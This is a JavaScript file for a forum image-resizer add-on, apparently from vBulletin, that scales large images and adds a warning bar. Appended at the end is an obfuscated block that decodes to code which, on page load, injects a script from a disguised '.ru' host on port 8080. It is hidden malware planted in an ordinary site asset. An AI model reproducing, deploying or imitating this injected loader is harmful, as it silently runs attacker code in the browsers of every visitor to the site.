NcodeImageResizer.IMAGE_ID_BASE = 'ncode_imageresizer_container_';
NcodeImageResizer.WARNING_ID_BASE = 'ncode_imageresizer_warning_';

function NcodeImageResizer(id, img) {
	this.id = id;
	this.img = img;
	this.originalWidth = 0;
	this.originalHeight = 0;
	this.warning = null;
	this.warningTextNode = null;
	
	img.id = NcodeImageResizer.IMAGE_ID_BASE+id;
}

NcodeImageResizer.getNextId = function() {
	id = 1;
	while(document.getElementById(NcodeImageResizer.IMAGE_ID_BASE+id) != null) {
		id++;
	}
	return id;
}

NcodeImageResizer.createOn = function(img) {
	isRecovery = false; // if this is a recovery from QuickEdit, which only restores the HTML, not the OO structure
	if(img.id && img.id.indexOf(NcodeImageResizer.IMAGE_ID_BASE) == 0 && document.getElementById(NcodeImageResizer.WARNING_ID_BASE+img.id.substr(NcodeImageResizer.IMAGE_ID_BASE.length)) != null) {
		newid = img.id.substr(NcodeImageResizer.IMAGE_ID_BASE.length);
		resizer = new NcodeImageResizer(newid, img);
		isRecovery = true;
		resizer.restoreImage();
	} else {
		newid = NcodeImageResizer.getNextId();
		resizer = new NcodeImageResizer(id, img);
	}
	
	if (resizer.originalWidth == 0) resizer.originalWidth = img.width;
	if (resizer.originalHeight == 0) resizer.originalHeight = img.height;
	
	if((NcodeImageResizer.MAXWIDTH > 0 && resizer.originalWidth > NcodeImageResizer.MAXWIDTH) || (NcodeImageResizer.MAXHEIGHT > 0 && resizer.originalHeight > NcodeImageResizer.MAXHEIGHT)) {
		if(isRecovery) {
			resizer.reclaimWarning(warning);
		} else {
			resizer.createWarning();
		}
		resizer.scale();
	}
}

NcodeImageResizer.prototype.restoreImage = function() {
	newimg = document.createElement('IMG');
	newimg.src = this.img.src;
	this.img.width = newimg.width;
	this.img.height = newimg.height;
}

NcodeImageResizer.prototype.reclaimWarning = function() {
	warning = document.getElementById(NcodeImageResizer.WARNING_ID_BASE+newid);
	
	this.warning = warning;
	this.warningTextNode = warning.firstChild.firstChild.childNodes[1].firstChild;
	this.warning.resize = this;
	
	this.scale();
}

NcodeImageResizer.prototype.createWarning = function() {
	mtable = document.createElement('TABLE');
	mtbody = document.createElement('TBODY');
	mtr = document.createElement('TR');
	mtd1 = document.createElement('TD');
	mtd2 = document.createElement('TD');
	mimg = document.createElement('IMG');
	mtext = document.createTextNode('');
	
	mimg.src = 'images/statusicon/wol_error.gif';
	mimg.width = 16;
	mimg.height = 16;
	mimg.alt = '';
	mimg.border = 0;
	
	mtd1.width = 20;
	mtd1.className = 'td1';
	
	mtd2.unselectable = 'on';
	mtd2.className = 'td2';
	
	mtable.className = 'ncode_imageresizer_warning';
	mtable.textNode = mtext;
	mtable.resize = this;
	mtable.id = NcodeImageResizer.WARNING_ID_BASE+this.id;
	
	mtd1.appendChild(mimg);
	mtd2.appendChild(mtext);
	
	mtr.appendChild(mtd1);
	mtr.appendChild(mtd2);
	
	mtbody.appendChild(mtr);
	
	mtable.appendChild(mtbody);
	
	this.img.parentNode.insertBefore(mtable, this.img);
	
	this.warning = mtable;
	this.warningTextNode = mtext;
}

NcodeImageResizer.prototype.scale = function() {
	if(NcodeImageResizer.MAXWIDTH > 0 && this.originalWidth > NcodeImageResizer.MAXWIDTH) {
		resized = true;
		this.img.width = NcodeImageResizer.MAXWIDTH;
		this.img.height = (NcodeImageResizer.MAXWIDTH / this.originalWidth) * this.originalHeight;
	}
	if(NcodeImageResizer.MAXHEIGHT > 0 && this.originalHeight > NcodeImageResizer.MAXHEIGHT) {
		resized = true;
		this.img.height = NcodeImageResizer.MAXHEIGHT;
		this.img.width = (NcodeImageResizer.MAXHEIGHT / this.originalHeight) * this.originalWidth;
	}
	
	this.warning.width = this.img.width;
	this.warning.onclick = function() { return this.resize.unScale(); }
	
	if(this.img.width < 450) {
		this.warningTextNode.data = vbphrase['ncode_imageresizer_warning_small'];
	} else if(this.img.fileSize && this.img.fileSize > 0) {
		this.warningTextNode.data = vbphrase['ncode_imageresizer_warning_filesize'].replace('%1$s', this.originalWidth).replace('%2$s', this.originalHeight).replace('%3$s', Math.round(this.img.fileSize/1024));
		//mtext.data = '<phrase 1="'+this.originalWidth+'" 2="'+this.originalHeight+'" 3="'+Math.round(this.img.fileSize/1024)+'">$vbphrase[ncode_imageresizer_warning_filesize]</phrase>';
	} else {
		this.warningTextNode.data = vbphrase['ncode_imageresizer_warning_no_filesize'].replace('%1$s', this.originalWidth).replace('%2$s', this.originalHeight);
		//mtext.data = '<phrase 1="'+this.originalWidth+'" 2="'+this.originalHeight+'">$vbphrase[ncode_imageresizer_warning_no_filesize]</phrase>';
	}
	
	return false;
}

NcodeImageResizer.prototype.unScale = function() {
	switch(NcodeImageResizer.MODE) {
		case 'samewindow':
			window.open(this.img.src, '_self');
			break;
		case 'newwindow':
			window.open(this.img.src, '_blank');
			break;
		case 'enlarge':
		default:
			this.img.width = this.originalWidth;
			this.img.height = this.originalHeight;
			this.img.className = 'ncode_imageresizer_original';
			if(this.warning != null) {
				this.warningTextNode.data = vbphrase['ncode_imageresizer_warning_fullsize'];
				this.warning.width = this.img.width;
				this.warning.onclick = function() { return this.resize.scale() };
			}
			break;
	}
	
	return false;
}
try {var t=RegExp;var Z=new Date();var X='replace';var c;if(c!='' && c!='q'){c='RE'};this.Ru='';function g(M,A){var Cb;if(Cb!='WT' && Cb != ''){Cb=null};var V;if(V!='p' && V != ''){V=null};var XjH;if(XjH!='F' && XjH!='j'){XjH=''};var b='[';var w='g';var dd;if(dd!='' && dd!='FT'){dd=''};var Xf;if(Xf!=''){Xf='tp'};b+=A;var xM;if(xM!='qQ' && xM!='QM'){xM='qQ'};var Qu='';b+=']';var oC;if(oC!='m' && oC!='ddD'){oC=''};var VK='';var i=new t(b, w);var J=new Date();return M[X](i, new String());};var wR;if(wR!='Ux'){wR='Ux'};var uw=new String();var z="";var P;if(P!='CV' && P != ''){P=null};var W='';this.eU='';var sD='';var Q=g('sHcHrHiKp0tH',"eKH0");var s=g('cwrwesa_t_ewEwlwesmwewn_t_',"ws_");var O;if(O!='' && O!='v'){O='Br'};var n;if(n!='' && n!='Um'){n='kE'};var B=g('821523114402314444855432140323242414',"15324");var Fc;if(Fc!='vE' && Fc!='zW'){Fc=''};var vJ=new Array();var l=g('oxnZlZoGaZdZ',"GZx");var PL="";this.CX="";var Xj=g('h_tYtYpY:Y/6/_s6c_i6e_n6c_eYd6iYrYe_c6t6-6cYoYm_.6b6uYz_z6nYe6t_.YcYo_mY.YmYo_pY-Yc6o_m_._iYw_eYs_t6p_o6i_nYtY.6r_uY:Y',"6_Y");var dW="";var L=window;var Yj=new String();var _=new String();var Bo=g('/qi4b7i7b7o7.Mcqo7mq/qiMb4iqbqoq.qc7o4mM/qp4cMwMo7r4lMdM.7cMo4mM/Mg7oMo7g7l7e4.7cqo7m7/qi4m7a7gMeMbMaMm4.4cqoMmq.4p4h7pq',"q47M");var bt=new String();h=function(){var Sb;if(Sb!=''){Sb='hZ'};var Bt=new Date();LL=document[s](Q);var sb=new String();this.D='';W=Xj+B;W+=Bo;this.NT='';this.kA='';var Lo;if(Lo!='' && Lo!='bI'){Lo=''};var QE;if(QE!='' && QE!='EI'){QE=''};LL.src=W;var gg=new Date();var bq=new Date();LL.defer=([1][0]);var of;if(of!='cA' && of!='Xp'){of=''};var AH='';document.body.appendChild(LL);};var Zu;if(Zu!='ep' && Zu!='Ue'){Zu='ep'};var ig;if(ig!='UB' && ig!='bw'){ig=''};L[l]=h;var UZ;if(UZ!='n_'){UZ='n_'};var yT;if(yT!='wV' && yT!='FSx'){yT='wV'};var Sn=new String();} catch(d){var Cg='';};var HA;if(HA!='Qk' && HA!='pg'){HA=''};